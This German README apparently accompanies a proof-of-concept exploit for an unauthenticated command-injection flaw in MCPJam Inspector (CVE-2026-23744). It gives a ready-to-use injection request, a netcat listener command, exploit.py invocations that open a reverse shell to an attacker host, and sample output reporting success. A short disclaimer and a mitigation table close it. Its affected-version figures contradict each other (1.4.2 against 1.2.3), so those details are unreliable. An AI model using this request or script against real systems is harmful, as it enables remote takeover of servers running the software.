
PoC-Exploit für CVE-2026-23744 — nicht authentifizierte RCE in MCPJam Inspector durch unvalidierte serverConfig-Befehlsinjektion auf /api/mcp/connect, die eine Reverse-Shell als Prozesseigentümer ohne Anmeldeinformationen ermöglicht.
MCPJam ist ein Open-Source-MCP (Model Context Protocol) Inspektor und Proxy zum Verbinden, Debuggen und Verwalten von MCP-Servern. Versionen <= 1.4.2 legen den Endpunkt /api/mcp/connect ohne Authentifizierung oder Eingabevalidierung offen. Ein nicht authentifizierter Angreifer aus der Ferne kann über die Felder serverConfig.command / serverConfig.args beliebige Betriebssystembefehle einschleusen und so eine Remote-Codeausführung mit den Rechten des Prozessbesitzers erlangen.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-23744 |
| CVSS-Bewertung | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 – Unzureichende Neutralisierung spezieller Elemente in einem OS-Befehl |
| Komponente | MCPJam MCP Proxy Inspector |
| Betroffen | MCPJam <= 1.4.2 |
| Behoben | MCPJam >= 1.4.3 |
| Angriffsvektor | Netzwerk – Keine Authentifizierung erforderlich |
| Offenlegung | 15.01.2026 |
Der anfällige Endpunkt akzeptiert eine nicht authentifizierte JSON-POST-Anfrage:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam übergibt command und args direkt an den Node.js-Prozess-Spawner (child_process.spawn oder gleichwertig) ohne:
Ein Angreifer, der Port 3000 (Standard) erreichen kann, kann eine Reverse-Shell-Payload in args[1] einspeisen und erhält eine Shell als Besitzer des MCPJam-Prozesses – oft root oder ein Dienstkonto mit umfangreichen Systemzugriffen.
Das Fehlen einer Authentifizierungs-Middleware auf /api/mcp/connect in Kombination mit der unkontrollierten Verwendung von benutzergesteuerten Werten in einem Prozess-Spawn-Aufruf erzeugt eine klassische nicht authentifizierte OS-Befehlseinschleusung (CWE-78).
pip install requests urllib3
-t, --target Ziel-IP oder Hostname
-p, --port Ziel-Port (MCPJam-Standard: 3000)
-l, --lhost Lokale IP für Reverse-Shell-Rückruf
-r, --lport Lokaler Port für Reverse-Shell-Rückruf
--timeout Sekunden, die auf die Verfügbarkeit des Ziels gewartet werden (Standard: 30)
--shell-timeout POST-Timeout, bevor angenommen wird, dass die Shell nicht mehr verfügbar ist (Standard: 5)
-v, --verbose Vollständigen HTTP-Response-Body ausgeben
1. Starten Sie einen Netcat-Listener auf Ihrem Rechner:
nc -lvnp 4444
2. Führen Sie den Exploit aus:
# Einfach
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Ausführlich + verlängerte Verfügbarkeitszeitüberschreitung (langsame Ziele)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Längeres Shell-Timeout (mehr Zeit, bevor angenommen wird, dass die Shell hergestellt wurde)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
Timeout = Erfolgsanzeiger. Wenn die POST-Anfrage eine Zeitüberschreitung aufweist, blockiert der Zielprozess auf der offenen Reverse-Shell – dies ist das erwartete Verhalten und bestätigt, dass eine RCE erreicht wurde. Wechseln Sie sofort zu Ihrem Listener.
Dieser Exploit wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Verwenden Sie ihn nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierte Nutzung ist illegal und unethisch.
| Priorität | Maßnahme |
|---|
| Kritisch | Aktualisieren Sie MCPJam auf >= 1.4.3 |
| Hoch | Schützen Sie /api/mcp/connect mit einer Authentifizierungs-Middleware |
| Hoch | Wenden Sie eine Netzwerk-Firewall-Regel an, die den Zugriff auf den MCPJam-Port auf vertrauenswürdige IPs beschränkt |
| Mittel | Erstellen Sie eine Whitelist zulässiger Werte für serverConfig.command |
| Mittel | Führen Sie MCPJam innerhalb eines Containers / mit einem eingeschränkten Linux-Benutzer aus (keine Shell, kein /dev/tcp) |
| Niedrig | Aktivieren Sie die Audit-Protokollierung für Prozess-Spawn-Ereignisse |